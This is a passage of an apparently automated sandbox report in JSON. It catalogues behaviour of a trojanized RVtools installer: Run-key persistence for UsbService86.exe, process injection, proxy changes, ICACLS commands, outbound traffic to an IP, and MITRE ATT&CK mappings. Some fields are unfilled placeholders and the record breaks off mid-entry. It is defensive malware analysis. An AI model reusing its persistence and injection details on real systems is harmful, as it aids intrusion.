\"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: \"GetModuleHandle\"; File: \"nsExec.dll\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: \"GetProcAddress\"; File: \"nsExec.dll\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"RVtools-4.7.0.2.msi\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"where a single '*' indicates a type variable tuple::\" (Indicator: \"where \"; Source: \"00000000-00007744.00000000.264689.607D0000.00000004.mdmp, 00000000-00007744.00000001.266610.607D0000.00000004.mdmp, 00000000-00007744.00000002.268528.607D0000.00000004.mdmp\")\n Found string \"where the use of '**' creates a parameter specification::\" (Indicator: \"where \"; Source: \"00000000-00007744.00000000.264689.607D0000.00000004.mdmp, 00000000-00007744.00000001.266610.607D0000.00000004.mdmp, 00000000-00007744.00000002.268528.607D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: \"GetModuleFileName\"; File: \"nsExec.dll\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: \"GetTickCount\"; File: \"nsExec.dll\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"password=\" (Indicator: \"password\"; File: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found string \"password=\" (Indicator: \"password\"; Source: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found string \"secrets\" (Indicator: \"secret\"; Source: \"00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp\")\n Found string \"secrets.pyc\" (Indicator: \"secret\"; Source: \"00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp\")\n Found string \"C:\\ProgramData\\Microsoft\\SystemWEB\\SystemInfo\\python312.zip\\secrets.pyc\" (Indicator: \"secret\"; Source: \"00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: RVtools-4.7.0.2.msi\n \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: RVtools-4.7.0.2.msi","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"whoami\" (Indicator: \"whoami\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"Found string \"ChangeServiceConfigW\" (Indicator: \"changeserviceconfigw\"; File: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found string \"ChangeServiceConfigW\" (Indicator: \"changeserviceconfigw\"; Source: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKeyExW\" in file \"RVtools-4.7.0.2.msi\"\n Found registry deletion API: \"RegDeleteKeyW\" in file \"RVtools-4.7.0.2.msi\"\n Found registry deletion API: \"RegDeleteValueW\" in file \"RVtools-4.7.0.2.msi\"\n Found registry deletion API: \"RegDeleteKeyExW\" in \"00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp\"\n Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyW\" in \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"MSIB386.tmp\")\n Found string \"OpenProcessTokenW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00007744-00000C2C-3135634861\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00007744-00000C2C-3135635259\")\n Found string \"OpenProcessW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00007744-00000C2C-3135635297\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"UsbService86.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007744)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: \"DeleteFile\"; File: \"nsExec.dll\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; Source: \"00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: \"ExitProcess\"; File: \"nsExec.dll\")\n file/memory contains long string with (Indicator: \"TerminateProcess\"; File: \"nsExec.dll\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"UsbService86.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\ASP.NET_4.0.30319\\NAMES\"; Key: \"FMBDTY135FLM4AABAQBEJVM7VAUMRMQESIT6KITOWYG91DFP1HV5ZGUVLVUWWOGKTGXH4FZIL3PNXP7MYHSQPCKXRK5G6ZO6CVPR0HO90X0VNFSRPMYVIQ\"; Value: \"401E000000\")\n \"UsbService86.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"RVtools-4.7.0.2.exe\" opened \"\\Device\\KsecDD\"\n \"UsbService86.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$5e","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$5f","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"InitiateShutdownW\" (Indicator: \"InitiateShutdown\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"InitiateShutdownW\" (Indicator: \"InitiateShutdown\"; Source: \"00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"nsExec.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"- Location: [%TEMP%\\nsgDF58.tmp\\nsExec.dll]- [targetUID: 00000000-00001196]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"RVtools-4.7.0.2.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"sc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"start.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4460)\n \"UsbService86.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7744)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"UsbService86.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00007744)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"RVtools-4.7.0.2.exe\" (Thread ID: 1448) slept \"525\" times (threshold: 500)","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$60","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"start.exe\" reads file \"C:\\Users\\desktop.ini\"\n \"start.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$61","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"RVtools-4.7.0.2.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")\n \"RVtools-4.7.0.2.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"UPDATEWINPY\"; Value: \"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\UsbService86.exe %ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\LICENSE.txt\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 104.21.23.246 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 128-bit algorithm","description":"YARA signature for ChaCha20 128-bit key algorithm matched on file \"libcrypto-3.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-57","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 256-bit algorithm","description":"YARA signature for ChaCha20 256-bit key algorithm matched on file \"libcrypto-3.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-44","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – cryptographic algorithms","description":"YARA signature matched on Chacha20 instruction used in file \"sqlite3.dll\"\n YARA signature matched on AES instruction used in file \"libcrypto-3.dll\"\n YARA signature matched on Chacha20 instruction used in file \"libcrypto-3.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":3,"id":"yara-155","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$62","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"start.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")\n \"UsbService86.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops PE files with different extensions","description":"$63","origin":"Binary File","mitre_attack_id":"T1036","relevance":5,"id":"binary-38","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops a Python file that contains suspicious strings","description":"\"hostfxr.py\" contains indicator \"sys.executable\" (Line: 149; Offset: 52)\n \"pkgconfig.py\" contains indicator \".Popen(\" (Line: 33; Offset: 23)","origin":"Binary File","mitre_attack_id":"T1105","relevance":8,"id":"binary-48","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops a text file that contains suspicious strings (e.g. shell/ActiveX/DOM related)","description":"$64","origin":"Binary File","mitre_attack_id":"T1105","relevance":8,"id":"binary-4","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes the C# compiler","description":"Process \"csc.exe\" with commandline \"/noconfig /fullpaths @\"%TEMP%\\\\5aat0yyl\\\\5aat0yyl.cmdline\"\" (UID: 00000000-00002832)","origin":"Monitored Target","mitre_attack_id":"T1027.004","relevance":1,"id":"target-57","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"start.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\\files\\RVtools-4.7.0.2.exe\"\" - (UID: 00000000-00004460)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Script loads executable in memory (Antimalware Scan Interface)","description":"$65","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1055.001","relevance":10,"id":"amsi-3","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the application program directory (%ProgramData%)","description":"$66","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-27","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$67","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"malicious","category":"System Security","name":"Modifies the access control lists of files","description":"Process \"ICACLS.EXE\" with commandline \"\"%TEMP%\\\\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\\\\.\" /SETINTEGRITYLEVEL (CI)(OI)HIGH\" (UID: 00000000-00004744)\n Process \"ICACLS.EXE\" with commandline \"\"%TEMP%\\\\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\\\\.\" /SETINTEGRITYLEVEL (CI)(OI)LOW\" (UID: 